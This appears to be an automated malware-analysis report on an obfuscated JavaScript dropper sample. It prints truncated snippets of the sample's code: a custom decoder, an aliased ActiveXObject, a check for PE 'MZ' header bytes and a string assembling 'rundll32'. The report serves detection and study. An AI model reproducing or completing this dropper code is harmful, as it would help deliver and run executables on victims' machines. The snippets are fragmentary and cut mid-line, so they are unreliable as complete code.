Suspicious ^66% javascript-malware-collection Download

20161221_25ec215449d151fdc78b73e467569c55.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2566cefb2b520246e66374cff4b81effe1b424580b61d81c6e448780a90e9f582aa

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikreynardFROG2XCOP = 0;	
9     var SupchikreynardRazlomSS, SupchikreynardFROG2ddDccC2, SupchikreynardFROG2c3, SupchikreynardFROG2c4;
10
11     var SupchikreynardFROG2out = "";
12
13	 var SupchikreynardFROG2Supchikreynardka= this.replace(/FROSTICK/gi, SupchikreynardFROG2out);
14 var  SupchikreynardFROG2len = SupchikreynardFROG2sud(Su …

charCodeAt() method call lines 18–20

	 var Supchikreynardkoch = SupchikreynardFROG2Supchikreynardka.charCodeAt(SupchikreynardFROG2XCOP++) &(0x132- 0x33);
          SupchikreynardRazlomSS = levitron[Supchikreynardkoch];
      } while (SupchikreynardFROG2XCOP < Supchikreynar …

Builds characters with String.fromCharCode lines 27–30

39…  +1== 0)
          break;
      SupchikreynardFROG2out += String['fromCharCode']((SupchikreynardRazlomSS << 2) | ((SupchikreynardFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikreynardFROG2c3 = Supchikre …

ActiveXObject via local alias lines 185–188

185:16… nardFROG2d2=SupchikreynardFROG2DoUtra.pop();
186SupchikreynardFROG2fabled="Valar2Morgulis";
187 var SupchikreynardFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikreynardFROG2d2.split("45");SupchikreynardFROG2Native.SupchikreynardFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikreynardFROG2$type(a)===b})};
 …

Checks array for PE magic bytes lines 257–264

72… dTalabaev);	
if(SupchikreynardTalabaevLaa < 29989)return false;
if (SupchikreynardTalabaev[0]!= 77 || SupchikreynardTalabaev[1]!= 90)return false;		
SupchikreynardFROG2CHICKA = SupchikreynardFROG2CHICKA  + SupchikreynardFROG2SIDRENKOV;
REBEKK2(SupchikreynardFROG2CHICKA, SupchikreynardTalabaev );
262
var SupchikreynardFROG2ddsSSddSd = ",happy";
264SupchikreynardFROG2ddsSSddSd = (SupchikreynardFROG2StrokaParam2,"undl") + (SupchikreynardFROG2StrokaParam2,"l32 ") + Supchikr …